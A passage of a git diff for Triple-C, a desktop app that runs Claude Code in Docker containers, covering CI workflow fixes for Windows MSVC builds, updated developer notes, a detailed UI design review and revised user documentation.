diff --git a/.gitea/workflows/build-app.yml b/.gitea/workflows/build-app.yml index 968f5ab..aa05136 100644 --- a/.gitea/workflows/build-app.yml +++ b/.gitea/workflows/build-app.yml @@ -357,6 +357,44 @@ jobs: (Get-Content app/src-tauri/Cargo.toml) -replace '^version = ".*?"', "version = `"$version`"" | Set-Content app/src-tauri/Cargo.toml Write-Host "Patched version to $version" + - name: Install MSVC C++ build tools + shell: cmd + run: | + rem Tauri links with MSVC, so rustc needs link.exe and the Windows SDK. + rem This job previously assumed a hand-provisioned runner; a runner + rem without them registers fine, advertises windows-latest, accepts the + rem job, downloads the whole crate graph and only then fails at link + rem time with "linker `link.exe` not found". + rem + rem rustc finds MSVC via vswhere and the registry rather than PATH, so + rem installing is enough - no dev-shell activation needed here. + rem + rem Delayed expansion is required: %VAR% inside a parenthesised block + rem is substituted when the block is PARSED, not when it runs, so both + rem %ERRORLEVEL% and %VSEXIT% would read as their pre-block values. + setlocal enabledelayedexpansion + set "VCPATH=" + set "VSWHERE=%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" + if exist "%VSWHERE%" ( + for /f "usebackq delims=" %%i in (`"%VSWHERE%" -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath`) do set "VCPATH=%%i" + ) + if defined VCPATH ( + echo MSVC build tools already present at !VCPATH! + ) else ( + echo MSVC build tools not found - installing Visual Studio Build Tools + curl -fSL -o "%TEMP%\vs_BuildTools.exe" https://aka.ms/vs/17/release/vs_BuildTools.exe || exit /b 1 + "%TEMP%\vs_BuildTools.exe" --quiet --wait --norestart --nocache --add Microsoft.VisualStudio.Workload.VCTools --includeRecommended + set "VSEXIT=!ERRORLEVEL!" + del "%TEMP%\vs_BuildTools.exe" 2>nul + rem 3010 means installed, reboot pending - a success for our purposes. + if not "!VSEXIT!"=="0" if not "!VSEXIT!"=="3010" ( + echo Visual Studio Build Tools installer failed with exit code !VSEXIT! + exit /b 1 + ) + echo Visual Studio Build Tools installed + ) + endlocal + - name: Install Rust stable run: | where rustup >nul 2>&1 && ( @@ -416,14 +454,26 @@ jobs: TAURI_CONFIG: "{\"build\":{\"beforeBuildCommand\":\"\"}}" run: | set "PATH=%USERPROFILE%\.cargo\bin;C:\Program Files\nodejs;%PATH%" - cargo tauri build + rem Every Tauri bundler it downloads - candle.exe, light.exe and + rem makensis.exe - is 32-bit. A runner running as SYSTEM has + rem %LOCALAPPDATA% under C:\Windows\system32\config\systemprofile, and + rem WOW64 redirection sends 32-bit processes reading System32 to + rem SysWOW64, so they cannot see their own directory: candle exits + rem 0x80131700 and makensis reports "Unable to start child process, + rem error 0x2". + rem + rem The build VM carries junctions from the SysWOW64 view of + rem systemprofile\AppData\Local\tauri and systemprofile\.cache to the + rem System32 originals, which makes the redirected view resolve. A + rem runner running as a normal user needs no such patch. + cargo tauri build --bundles msi,nsis - name: Collect artifacts run: | set "PATH=%USERPROFILE%\.cargo\bin;C:\Program Files\nodejs;%PATH%" mkdir artifacts - copy app\src-tauri\target\release\bundle\msi\*.msi artifacts\ 2>nul - copy app\src-tauri\target\release\bundle\nsis\*.exe artifacts\ 2>nul + copy app\src-tauri\target\release\bundle\msi\*.msi artifacts\ || exit /b 1 + copy app\src-tauri\target\release\bundle\nsis\*.exe artifacts\ || exit /b 1 dir artifacts\ - name: Upload to Gitea release diff --git a/CLAUDE.md b/CLAUDE.md index 0fc7db7..f6a569b 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -56,22 +56,56 @@ docker exec stdout → tokio task → emit("terminal-output-{sessionId}") → li ### Frontend Structure (`app/src/`) -- **`store/appState.ts`** — Single Zustand store for all app state (projects, sessions, UI) +- **`store/appState.ts`** — Single Zustand store for all app state (projects, sessions, UI). The + main area is a single ordered tab strip holding two tab kinds, keyed `term:` and + `home:`; `activeSessionId` is *derived* from `activeTabKey` so exactly one thing is current. - **`hooks/`** — All Tauri IPC calls are encapsulated in hooks (`useTerminal`, `useProjects`, `useDocker`, `useSettings`) - **`lib/tauri-commands.ts`** — Typed `invoke()` wrappers; TypeScript types in `lib/types.ts` must match Rust models - **`components/terminal/TerminalView.tsx`** — xterm.js integration with WebGL rendering, URL detection for OAuth flow -- **`components/layout/`** — TopBar (tabs + status), Sidebar (project list), StatusBar -- **`components/projects/`** — ProjectCard, ProjectList, AddProjectDialog -- **`components/settings/`** — Settings panels for API keys, Docker, AWS, Web Terminal +- **`components/layout/`** — TopBar, MainTabs (the unified tab strip), Sidebar, StatusBar +- **`components/projects/`** — `ProjectRow` (select-only list row), `ProjectList`, `AddProjectDialog`, + and the editors reused by Project Home +- **`components/projects/home/`** — **Project Home**, the main-area view for a project: + Overview / Sessions / Automation / Config / Files. Per-project configuration lives here, not in + modals — see "UI conventions" below. +- **`components/settings/`** — Host-level settings: Docker, AWS, Web Terminal, STT, shared auth +- **`components/ui/`** — Shared primitives. **Use these; do not hand-roll replacements.** + `Modal` (the only correct way to build a dialog — it supplies `role="dialog"`, `aria-modal`, + focus trap and restore), `Button`, `Toggle`, `Field`, `SegmentedControl`, `StatusIndicator`, + `SaveIndicator`, `OverflowMenu`, `ToastHost`, `Tooltip` + +### UI conventions + +- **Project config belongs in Project Home's Config tab, not a modal.** Modals are reserved for + short, genuinely modal tasks (add project, confirm removal, token acquisition). The app + previously had ~12 hand-rolled modals; they were consolidated deliberately. +- **Never bypass the design tokens.** All colour comes from CSS custom properties in `index.css`. + Filled buttons use `--accent-emphasis` (not `--accent`, which fails WCAG AA against white). + Use `--text-disabled` rather than `disabled:opacity-50`. +- **Never write `focus:outline-none`.** A global `:focus-visible` ring is defined in `index.css`. +- **Status must not be encoded in colour alone** — `StatusIndicator` pairs a glyph with a word. +- Keyboard: `Ctrl+T` new terminal, `Ctrl+Shift+W` close tab, `Ctrl+Tab` cycle, `Ctrl+1..9` jump. + `Ctrl+W` is intentionally left alone — it is readline's `kill-word` inside the terminal. ### Backend Structure (`app/src-tauri/src/`) -- **`commands/`** — Tauri command handlers (docker, project, settings, terminal). These are the IPC entry points called by `invoke()`. +- **`commands/`** — Tauri command handlers. These are the IPC entry points called by `invoke()`. + Beyond docker/project/settings/terminal: `inspect_commands.rs` (read-only views into a + container — Claude sessions, installed capabilities, scheduler tasks), `auth_bridge_commands.rs`, + `auth_token_commands.rs`. +- **`auth_bridge/`** — Host-side loopback bridge so browser logins run *inside* a container can + complete against the host browser. Discovers listeners by parsing `/proc/net/tcp{,6}` (the image + has no `ss`/`netstat`/`lsof`), binds host `127.0.0.1` **only**, and tunnels in over the Docker + API via `socat`. Opt-in per project. - **`docker/`** — Docker API layer using bollard: - `client.rs` — Singleton Docker connection via `OnceLock` - `container.rs` — Container lifecycle (create, start, stop, remove, inspect) - - `exec.rs` — PTY exec sessions with bidirectional stdin/stdout streaming + - `exec.rs` — Attached exec streaming. `create_attached_exec()` is the **single** place an + attached exec is opened; terminal sessions and the auth bridge both go through it. - `image.rs` — Image build/pull with progress streaming + - `legacy_cleanup.rs` — One-release migration shim removing leftovers from the deleted MCP + feature (containers labelled `triple-c.mcp-server`, `triple-c-net-*` networks). Deletable once + users have migrated. - **`web_terminal/`** — Remote terminal access via axum HTTP+WebSocket server: - `server.rs` — Axum server lifecycle (start/stop), serves embedded HTML and handles WS upgrades - `ws_handler.rs` — Per-connection WebSocket handler with JSON protocol, session management, cleanup on disconnect @@ -87,7 +121,13 @@ docker exec stdout → tokio task → emit("terminal-output-{sessionId}") → li ### Container Lifecycle -Containers use a **stop/start** model (not create/destroy). Installed packages persist across stops. The `.claude` config dir uses a named Docker volume (`triple-c-claude-config-{projectId}`) so OAuth tokens survive even container resets. +Containers use a **stop/start** model (not create/destroy). Installed packages persist across stops. The `.claude` config dir uses a named Docker volume (`triple-c-claude-config-{projectId}`), nested inside the home volume (`triple-c-home-{projectId}`), so OAuth tokens and Claude Code config survive container stop/start *and* container recreation. + +**Reset is the exception and it is destructive.** `rebuild_project_container` calls +`remove_project_volumes`, which deletes *both* volumes — so a Reset wipes `~/.claude`, +`~/.claude.json`, the OAuth credential, installed skills, and session transcripts. That is +intentional (Reset exists to get back to a clean base image), but do not describe Reset as +preserving credentials. ### Authentication @@ -108,8 +148,18 @@ Per-project, independently configured: - Frontend types in `lib/types.ts` must stay in sync with Rust structs in `models/` - Tauri commands are registered in `lib.rs` via `.invoke_handler(tauri::generate_handler![...])` -- Tauri v2 permissions are declared in `capabilities/default.json` — new IPC commands need permission grants there +- `capabilities/default.json` grants permissions for **plugin** commands only (`core:`, `dialog:`, + `store:`, `opener:`). Application commands registered through `generate_handler!` do **not** + need an entry there — adding one is not required and none exists for any app command. - The `projects.json` file uses atomic writes (write to `.tmp`, then `rename()`). Corrupted files are backed up to `.bak`. +- **Adding project state that changes the container?** `container_needs_recreation()` is entirely + **label-based** — it does not diff the container's env. If a new setting affects the container's + environment or configuration, you must also write a corresponding `triple-c.*` label at creation + and compare it there, or the change will silently not take effect until some unrelated setting + forces a rebuild. Never put a secret in a label; labels are readable via `docker inspect`. +- **New model fields need an explicit serde default when the correct default isn't the zero value.** + `#[serde(default)]` on a `bool` yields `false`; follow the `default_full_permissions` pattern in + `models/project.rs` for anything that should default to true. - Cross-platform paths: Docker socket is `/var/run/docker.sock` on Linux/macOS, `//./pipe/docker_engine` on Windows ## Testing diff --git a/DESIGN-REVIEW.md b/DESIGN-REVIEW.md new file mode 100644 index 0000000..25fa0ae --- /dev/null +++ b/DESIGN-REVIEW.md @@ -0,0 +1,337 @@ +# Triple-C Design & Product Review + +**Date:** 2026-08-09 · **Version reviewed:** 0.3.0 · **Reviewer:** Fable 5 + +Scope: `app/src/` (App, layout, projects, settings, terminal, ui, store, index.css), +README/CLAUDE.md/TODO.md, the four repo screenshots, and `triple-c-app-logov2.png`. + +--- + +## Summary verdict + +The bones are good. The floating-panel layout reads clean, the GitHub-dark palette is +inoffensive, and terminal-as-centerpiece is correct for this product. + +The two real problems are structural, and they are the same problem seen from two sides: +**the project — the app's actual unit of work — has no room to live.** Everything about a +project (backend auth, mounts, git identity, env vars, ports, Claude settings, file +manager) is stuffed into a ~280px sidebar card (`ProjectCard.tsx`, 1,257 lines) that +sprays out seven modals to compensate. + +`screenshot_for_fix/project_config_run_off.png` is not a bug to patch. It is the +architecture reporting that the config does not fit where it lives. Fixing that one thing +also solves the modal pile, the density problems, *and* creates the surface where newer +Claude Code concepts belong. + +--- + +## Part A — Visual & interaction design + +### A1. Tokens: coherent but thin, with one real contrast failure + +`index.css` is GitHub Primer dark, verbatim (`#0d1117 / #161b22 / #21262d / #30363d / +#8b949e / #58a6ff`). Defensible — familiar, calm, terminal-adjacent — but the token layer +stops at 11 variables. Roles the code is already faking ad hoc: + +- **No elevation/overlay token.** Modals reuse `--bg-secondary`, so a modal over the + sidebar is the same color as the sidebar. Add `--bg-overlay: #1c2128` and + `--shadow-overlay`. +- **No muted-accent tokens.** The code hand-rolls `bg-yellow-500/20 text-yellow-400`, + `bg-blue-500/20 text-blue-400`, `--warning/15`, `--error/10`. Add `--accent-muted`, + `--warning-muted`, `--error-muted`, `--success-muted`. Those raw Tailwind palette colors + are the only two places the token system leaks. +- **Radius drift:** `rounded` (4px), `rounded-lg` (8px), plus hardcoded 3px/6px in help + styles. Pick two: 6px controls, 8px panels. + +**Contrast bug (concrete):** white text on `--accent #58a6ff` is ~**2.5:1** — fails WCAG +AA. That is the primary button ("Add Project"), the "Update" pill, and more. Primer solves +this with two accents: keep `#58a6ff` as the *foreground/link* accent and add +`--accent-emphasis: #1f6feb` for filled buttons (white on `#1f6feb` ≈ 4.7:1). + +Same story for `bg-[var(--success)] text-white` ON toggles — `#3fb950` + white ≈ **2.1:1**, +the worst offender in the app. + +What passes: `--text-secondary #8b949e` on `#161b22` ≈ 5.8:1, fine even at 12px. +`--warning #d29922` ≈ 7:1. But `disabled:opacity-50` on secondary text drops to ~2.4:1 — +and since the entire config form is disabled while the container runs, **the most common +state of the form is illegible.** Use a dedicated `--text-disabled: #6e7681` instead of +opacity. + +### A2. Type and density: everything is 12px + +Roughly 90% of the UI is `text-xs`. Hierarchy is carried almost entirely by weight plus a +single `text-lg` modal title. Forms feel cramped rather than dense — density is +information per pixel, not small type. + +Proposed scale with roles: **11px** uppercase section labels (already used, keep) · +**12px** secondary/meta · **13px** default UI/body/form values · **14px** panel headers · +**16px** view titles. + +Path strings in mono are a nice identity touch — extend mono to all machine values (model +IDs, ports, digests), which the Bedrock/Ollama forms currently render in the UI face. + +The outer chrome spends generously while content starves: `App.tsx` wraps everything in +`p-6 gap-4`, then the config form gets ~180px-wide inputs for AWS secret keys. Keep the +floating-island look; `p-3 gap-3` buys content ~24px horizontally and the terminal two +more rows. + +### A3. The project card is three components wearing one div + +`ProjectCard` is simultaneously a list row, a command strip, and the entire settings form. + +- **Selection and disclosure are conflated.** Clicking a row both selects it and expands an + accordion in place, shoving the other projects down. The 06-28 screenshot shows 18 + projects — this jank is daily. +- **Actions are unstyled text links.** `ActionButton` renders `text-xs px-2 py-0.5` colored + text with no border or background, so Start/Stop/Terminal/Shell/Files/Backup/Config/Remove + read as a wrapping line of links. Worse, **Remove (destructive, red) wraps directly next + to Config** with a ~20px hit target. +- **Double-click-to-rename** is undiscoverable and keyboard/touch-inaccessible. +- **27 hover-only `` markers in ProjectCard alone.** When a form needs 27 tooltips, + the form is the problem. + +### A4. Modals: eight is a pattern smell, and none are real dialogs + +Hanging off ProjectCard: EnvVars, PortMappings, ClaudeInstructions, ClaudeCodeSettings, +ContainerProgress, FileManager, ConfirmRemove — plus AddProject, three reused from +SettingsPanel, and Update/ImageUpdate/Help from TopBar. + +Each reimplements the overlay div, Escape handler, and click-outside logic by hand. **None +has `role="dialog"`, `aria-modal`, a focus trap, or focus restore** — zero hits for +`role=`, `aria-modal`, or `tabIndex` across `components/`. + +The pattern is wrong not because modals are bad, but because these are not modal *tasks*. +Env vars, ports, instructions, and Claude settings are all "edit part of the project +config" — a detail view's job. + +- Legitimately modal: **ConfirmRemove**, **AddProject**. +- **FileManager** wants to be a main-area tab, not a 42rem popup. +- **ContainerProgressModal actively hurts:** starting a container blocks the entire app + behind an overlay for an operation designed to be routine. Replace with inline row state + plus an error toast. +- Whatever survives should be one shared `` primitive with focus trap + ARIA. + +### A5. Keyboard and focus: currently unsupported + +For a tool whose centerpiece is a keyboard-driven terminal, the chrome is mouse-only. + +- Inputs use `focus:outline-none` with only a low-contrast border swap; **buttons have no + focus style at all** — tabbing through the sidebar is invisible. +- One-line fix: add `--focus-ring: #58a6ff` and + `:focus-visible { outline: 2px solid var(--focus-ring); outline-offset: 1px; }` +- No shortcuts for constant actions: `Ctrl+T` new terminal, `Ctrl+Tab`/`Ctrl+1..9` switch, + `Ctrl+W` close, `Ctrl+P` project switcher. The only shortcut in the app is the STT mic. +- Hit targets below 24px: tab close "×" (~14px), Tooltip "?" (14px), Browse "...". The + status bar is `h-6` yet hosts two interactive controls. + +### A6. Status communication + +Three disconnected dot systems (TopBar Docker/Image, per-project status, StatusBar counts), +all 8px and color-only. + +- **Stopped (gray) and error (red) differ only by hue**, and Docker-unavailable renders the + same gray as Docker-still-being-checked (`dockerAvailable === null` and `false` both fall + through). An outage should be loud; unknown should pulse. +- Color-only encoding fails colorblind users. Add shape or text — `● Running`, `○ Stopped`, + `⚠ Error`. The words are already in the model. +- Raw `String(e)` errors dumped into a 12px card line; bollard errors are long. Errors need + a home: toast plus expandable detail. +- The TopBar tab strip is visually disconnected from the terminal it controls. Move tabs + onto the terminal panel's top edge so the active tab connects to its content. + +### A7. Empty and first-run states + +`WelcomeScreen` is three lines of gray text with no affordance — "Add a project from the +sidebar" *describes* a button instead of *being* one. This is also where brand could exist: +the orange sun-gear logo appears nowhere in the UI and shares no DNA with the blue-on- +graphite chrome. + +Make it an onboarding checklist reusing state already tracked: +✓ Docker detected → ✓ Image pulled → **[ Add your first project ]** → open terminal. +The same pattern fixes the "image missing" case, today just a gray dot in the corner. + +### A8. Dark-only: keep it + +Right call. Terminal-first developer tool, xterm content is dark, audience expects it. The +tokens make a light theme cheap later. Don't spend on it now — but keep discipline that no +color bypasses the token layer. + +### A9. Iconography + +Mixed: hand-inlined Feather-style SVGs in the sidebar rail, text glyphs elsewhere ("×", +"?", "...", "+", "✓", "✕"). Adopt `lucide-react` — same stroke style already being +imitated, tree-shakeable — and replace the text glyphs. It also supplies the per-concept +icons Part B needs. + +--- + +## Part B — Information architecture & product concepts + +### B1. The diagnosis + +Current IA: `Projects | MCP | Settings` in a sidebar, terminal in main, project detail +crammed into the list. + +Deleting the MCP tab was correct — but **the lesson matters more than the freed slot. +MCP died as a Triple-C feature because Claude Code absorbed it.** Hooks, skills, agents, +plugins, output styles, and statusline are all the same species: files under `.claude/` +that Claude Code manages natively with its own TUIs (`/agents`, `/hooks`, `/plugins`). If +Triple-C builds form editors for them, it loses the same race again and becomes exactly +what it should fear — a settings-file editor with a GUI skin. + +What Claude Code *cannot* do is what Triple-C uniquely owns: **the container boundary and +what persists behind it.** The config volume, the workspace mounts, the lifecycle, the +scheduler already shipping in every image, and the fleet view across many projects. + +> **Principle: Triple-C shows state and launches things. Claude Code edits its own config.** + +Sessions, checkpoints, background tasks, scheduled tasks, capability inventory → surface +them, read from the volume, launch into the terminal. Hook/skill/agent *editing* → +deep-link into the terminal, don't rebuild. + +### B2. Proposed IA: three nouns + +**Project** (a sandboxed workspace) · **Session** (a resumable conversation) · +**Library** (reusable capabilities pushed into projects). Everything is one of these, or +Settings. + +``` +┌────────────────────────────────────────────────────────────────────┐ +│ TopBar: ⌂ api-server │ ▣ api-server ✕ │ ▣ api (bash) ✕ │ ● ● ? │ +├─────────────┬──────────────────────────────────────────────────────┤ +│ ◤ Projects │ MAIN AREA — a tab strip of two tab kinds: │ +│ ● api-serv │ ⌂ project-home tabs ▣ terminal tabs │ +│ ○ blog │ │ +│ ● data-pipe│ ⌂ api-server ● Running · 2h 14m │ +│ … │ ┌─────────┬──────────┬────────────┬────────┐ │ +│ ◧ Library │ │Overview │ Sessions │ Automation │ Config │ │ +│ ⚙ Settings │ └─────────┴──────────┴────────────┴────────┘ │ +├─────────────┴──────────────────────────────────────────────────────┤ +│ StatusBar: 18 projects · 8 running · 4 terminals 🎤 ↓Jump │ +└────────────────────────────────────────────────────────────────────┘ +``` + +- **Sidebar** becomes a pure list plus nav rail. Rows carry name, path, status dot, and on + hover a play/stop and terminal button. Clicking opens (or focuses) that project's + **Project Home** tab. The freed MCP slot becomes **Library**. +- **Main area** hosts two tab kinds: terminals (as today) and project-home tabs, like VS + Code's Settings tab. The terminal stays the centerpiece; Project Home is one keystroke + away rather than a layer on top. +- **All seven config modals dissolve** into the Config tab, full-width, grouped: + *Workspace* (folders/mounts), *Model* (backend + auth), *Access* (git/SSH/env/ports), + *Runtime* (docker access, sandbox, permission mode, Mission Control). Room for visible + helper text kills most of the 27 tooltips. Save-on-blur stays but gains a visible + "Saved ✓ / Failed" indicator — today failures go only to `console.error`, which is + silent data loss. + +#### Project Home — Overview tab + +``` + api-server ● Running · started 2h ago + [ Stop ] [ Open Claude Terminal ] [ Shell ] [ Files ] [⋯ menu] + + Permission mode ( Plan ) ( Default ) ( Accept Edits ) (▮ Bypass ▮) + Sandbox ON — bubblewrap isolation Backend Anthropic + + CAPABILITIES (read from container volume) + ◆ Skills 7 ◆ Agents 3 ◆ Hooks 2 ◆ Plugins 1 ◆ Commands 5 + └ click any → drawer listing names/descriptions, + [Manage in terminal] → opens claude with /agents etc. + + RECENT SESSIONS SCHEDULED TASKS + "Refactor OAuth flow" 2h ago [Resume] nightly-review 0 3 * * * + "Fix flaky CI test" 1d ago [Resume] [2 notifications] +``` + +### B3. The four concepts worth building + +**1. Sessions & Resume — the flagship.** The stop/start container model creates a problem +plain Claude Code doesn't have: stop a container, come back Tuesday, and "which +conversation was I in?" is buried in the volume. Read session metadata via `docker exec` +(the exec and tar plumbing already exists), list sessions with summary and age, and make +**[Resume]** open a terminal running `claude --resume `. Closing a terminal tab today +silently abandons a session; it should say "Session saved — resume from Project Home." +This turns the biggest architectural quirk into the best feature. + +Do **not** build a checkpoint browser. Mention rewind (`Esc Esc`) in Help and stop there. + +**2. Library — the MCP tab's successor.** The pattern was already invented three times: +global MCP servers with per-project checkboxes, global Claude instructions, and Mission +Control's bundled skill install. Generalize it once: a Library of **skills, agents, and +slash commands** defined globally with per-project enable, synced into the container's +`.claude` volume by the entrypoint. Across many projects, "write a skill once, enable it in +twelve sandboxes" is genuinely differentiated. Keep the editor minimal — name plus markdown +textarea, or "import from folder." Not a structured form per frontmatter field. + +**3. Permission mode as the hero control.** The whole pitch is "sandbox so you can safely +go fast," yet that pitch is expressed as a scary boolean buried in a config accordion. +Replace it with Claude Code's real vocabulary — a segmented control (**Plan / Default / +Accept Edits / Bypass**) on Overview, echoed as a badge on terminal tabs, with sandbox +state beside it. When sandbox is ON, Bypass loses its red paint ("contained by sandbox"); +when sandbox is OFF *and* Bypass is on, that is when caution color earns its place. This +reframes the product's core value in the product's own UI. + +**4. Automation tab.** `triple-c-scheduler` ships in every container with +add/list/logs/notifications — and its only UI is a CLAUDE.md paragraph telling Claude to +run it. Wrap it: task list (name, cron, last run, enabled), toggle/run-now/view-log, and a +notification badge on the project row. "Your nightly agent left you a note" is a reason to +open the app in the morning. Fleet-of-scheduled-agents management across projects is +something the Claude Code TUI does not offer. + +**Explicitly skip:** status line builder, output-styles editor, hook *editors* (surface the +count, deep-link to the terminal), checkpoint browser, marketplace browser. Each is niche, +natively handled, or a settings-editor trap. + +### B4. Coherence test + +Every screen answers exactly one question: + +| Screen | Question | +|---|---| +| Sidebar | What projects exist and are they up? | +| Project Home | What can this sandbox do, and where did I leave off? | +| Terminal | Do the work. | +| Library | What capabilities do I reuse? | +| Settings | How does the host behave? | + +Anything that doesn't answer one of those doesn't get a nav slot. + +--- + +## Priorities + +### Tier 1 — high impact, cheap + +1. `:focus-visible` ring and stop stripping outlines (one CSS rule + token). Add + `Ctrl+T` / `Ctrl+W` / `Ctrl+1..9` / `Ctrl+Tab`. +2. Contrast: `--accent-emphasis: #1f6feb` for filled buttons; kill white-on-`#3fb950`; + `--text-disabled` instead of `opacity-50`. +3. Real buttons for project actions; Remove into an overflow menu; primary action filled. +4. Inline start/stop progress and an error toast; delete `ContainerProgressModal`. +5. Status dots get labels or shapes; Docker-down turns red; null state pulses. +6. Welcome screen becomes an onboarding checklist with a real button, plus the logo. +7. One shared `` with focus trap and ARIA for the modals that remain. +8. Permission-mode segmented control replacing the boolean. +9. `lucide-react` icons; move the tab strip onto the terminal panel. + +### Tier 2 — high impact, expensive + +1. **Project Home tabbed view** — the structural fix that dissolves the modal pile and the + 1,257-line ProjectCard. The forms already exist; this is mostly moving and splitting. +2. **Sessions tab** with `claude --resume`. +3. **Library** — generalize global→per-project sync to skills/agents/commands. +4. **Automation tab** wrapping `triple-c-scheduler`, with notification badges. + +### Tier 3 — skip + +- Light theme (dark-only is right; tokens keep the door open). +- Editors for hooks, statusline, output styles; checkpoint browser; marketplace browser. +- Any new global sidebar tab beyond Library. +- Rebuilding MCP management in any form. Let the deletion be a lesson, not a vacancy. + +--- + +**One sentence:** promote the project from a sidebar card to a first-class workspace view, +use the volume you already own to surface sessions/capabilities/automation instead of +building config editors, and spend a focused week on focus rings, contrast, and button +affordances — the visual layer needs sanding, not redesign. diff --git a/HOW-TO-USE.md b/HOW-TO-USE.md index 6c92943..566e372 100644 --- a/HOW-TO-USE.md +++ b/HOW-TO-USE.md @@ -9,17 +9,22 @@ Triple-C (Claude-Code-Container) is a desktop application that runs Claude Code - [Prerequisites](#prerequisites) - [First Launch](#first-launch) - [The Interface](#the-interface) +- [Project Home](#project-home) - [Project Management](#project-management) +- [Permission Modes](#permission-modes) - [Project Configuration](#project-configuration) -- [MCP Servers (Beta)](#mcp-servers-beta) +- [Shared Claude Authentication](#shared-claude-authentication) +- [Browser Logins Inside the Container (Auth Bridge)](#browser-logins-inside-the-container-auth-bridge) - [AWS Bedrock Configuration](#aws-bedrock-configuration) - [Ollama Configuration](#ollama-configuration) - [OpenAI Compatible Configuration](#openai-compatible-configuration) - [Settings](#settings) - [Web Terminal (Remote Access)](#web-terminal-remote-access) - [Terminal Features](#terminal-features) -- [Scheduled Tasks (Inside the Container)](#scheduled-tasks-inside-the-container) +- [Automation & Scheduled Tasks](#automation--scheduled-tasks) +- [Keyboard Shortcuts](#keyboard-shortcuts) - [What's Inside the Container](#whats-inside-the-container) +- [Claude Code Tips](#claude-code-tips) - [Troubleshooting](#troubleshooting) --- @@ -79,7 +84,7 @@ Click **Pull Image** (for Registry/Custom) or **Build Image** (for Local Build). ### 2. Create Your First Project -Switch to the **Projects** tab in the sidebar and click the **+** button. +Switch to the **Projects** tab in the sidebar and click **+ Add**. 1. **Project Name** — Give it a meaningful name (e.g., "my-web-app"). 2. **Folders** — Click **Browse** to select a directory on your host machine. This directory will be mounted into the container at `/workspace/`. You can add multiple folders with the **+** button at the bottom of the folder list. @@ -87,42 +92,61 @@ Switch to the **Projects** tab in the sidebar and click the **+** button. ### 3. Start the Container -Select your project in the sidebar and click **Start**. A progress modal appears showing real-time status as the container starts. The status dot changes from gray (stopped) to orange (starting) to green (running). The modal auto-closes on success. +Click the project in the sidebar. Its **Project Home** opens as a tab in the main area. Click +**Start** in the Project Home header (or use the play control that appears when you hover the +sidebar row). + +Progress is reported inline — the sidebar row and the Project Home header show messages like +"Creating container…" and "Starting container…" while the status moves from Stopped (`○`) to +Starting (`◐`) to Running (`●`). Nothing blocks the rest of the app; if something fails you get a +toast with the full detail behind a **Details** disclosure. ### 4. Open a Terminal -Click the **Terminal** button to open an interactive terminal session. A new tab appears in the top bar and an xterm.js terminal loads in the main area. +Click **Open Claude Terminal** in the Project Home header, or press **Ctrl+T**. A new tab appears +in the main tab strip and an xterm.js terminal loads. -Claude Code launches automatically. By default, it runs in standard permission mode and will ask for your approval before executing commands or editing files. To enable auto-approval of all actions within the sandbox, enable **Full Permissions** in the project configuration. +Claude Code launches automatically. The project's **permission mode** decides how much it asks +before acting — the default is to prompt before each tool call. See +[Permission Modes](#permission-modes). ### 5. Authenticate -**Anthropic (OAuth) — default:** +**Anthropic — shared token (recommended):** + +Run `claude setup-token` once from **Settings → Claude Authentication** in the sidebar, and every +Anthropic-backend project uses that token without its own login. See +[Shared Claude Authentication](#shared-claude-authentication). + +**Anthropic — per-container OAuth:** 1. Type `claude login` or `/login` in the terminal. 2. Claude prints an OAuth URL. Triple-C detects long URLs and shows a clickable toast at the top of the terminal — click **Open** to open it in your browser. -3. Complete the login in your browser. The token is saved and persists across container stops and resets. +3. Complete the login in your browser. The token is saved and persists across container stops, starts and recreations. A **Reset** deletes it — see below. + +> If the login hangs after the browser step, the callback could not reach the container. Enable the +> [Auth Bridge](#browser-logins-inside-the-container-auth-bridge) for that project. **AWS Bedrock:** -1. Stop the container first (settings can only be changed while stopped). -2. In the project card, switch the backend to **Bedrock**. -3. Expand the **Config** panel and fill in your AWS credentials (see [AWS Bedrock Configuration](#aws-bedrock-configuration) below). +1. Stop the container first (most settings can only be changed while stopped). +2. Open the project's **Config** tab and, under **Model**, set **Backend** to **Bedrock**. +3. Fill in your AWS credentials in the same section (see [AWS Bedrock Configuration](#aws-bedrock-configuration) below). 4. Start the container again. **Ollama:** -1. Stop the container first (settings can only be changed while stopped). -2. In the project card, switch the backend to **Ollama**. -3. Expand the **Config** panel and set the base URL of your Ollama server (defaults to `http://host.docker.internal:11434` for a local instance). Set the **Model ID** to the model you want to use (required). +1. Stop the container first (most settings can only be changed while stopped). +2. Open the project's **Config** tab and, under **Model**, set **Backend** to **Ollama**. +3. Set the base URL of your Ollama server (defaults to `http://host.docker.internal:11434` for a local instance). Set the **Model** to the model you want to use (required). 4. Make sure the model has been pulled in Ollama (e.g., `ollama pull qwen3.5:27b`) or used via Ollama cloud before starting. 5. Start the container again. **OpenAI Compatible:** -1. Stop the container first (settings can only be changed while stopped). -2. In the project card, switch the backend to **OpenAI Compatible**. -3. Expand the **Config** panel and set the base URL of your OpenAI-compatible endpoint (defaults to `http://host.docker.internal:4000` as an example). Optionally set an API key and model ID. +1. Stop the container first (most settings can only be changed while stopped). +2. Open the project's **Config** tab and, under **Model**, set **Backend** to **OpenAI Compatible**. +3. Set the base URL of your OpenAI-compatible endpoint (defaults to `http://host.docker.internal:4000` as an example). Optionally set an API key and model. 4. Start the container again. --- @@ -130,23 +154,97 @@ Claude Code launches automatically. By default, it runs in standard permission m ## The Interface ``` -┌─────────────────────────────────────────────────────┐ -│ TopBar [ Terminal Tabs ] Docker ● Image ●│ -├────────────┬────────────────────────────────────────┤ -│ Sidebar │ │ -│ │ Terminal View │ -│ Projects │ (xterm.js) │ -│ MCP │ │ -│ Settings │ │ -├────────────┴────────────────────────────────────────┤ -│ StatusBar X projects · X running · X terminals │ -└─────────────────────────────────────────────────────┘ +┌──────────────────────────────────────────────────────────────────────┐ +│ [⌂ my-app] [▣ my-app ask] [▣ my-app (bash)] Docker ● Image ● ? │ +├─────────────┬────────────────────────────────────────────────────────┤ +│ Sidebar │ ┌──────────────────────────────────────────────────┐ │ +│ │ │ my-app ● Running · up 2h 5m │ │ +│ Projects │ │ [Open Claude Terminal] [Shell] [Files] │ │ +│ Settings │ │ [Stop] [⋯] │ │ +│ │ ├──────────────────────────────────────────────────┤ │ +│ ● my-app │ │ Overview · Sessions · Automation · Config · Files│ │ +│ ○ other │ ├──────────────────────────────────────────────────┤ │ +│ │ │ │ │ +│ │ │ (Project Home, or a terminal view) │ │ +│ │ │ │ │ +│ │ └──────────────────────────────────────────────────┘ │ +├─────────────┴────────────────────────────────────────────────────────┤ +│ 2 project(s) · 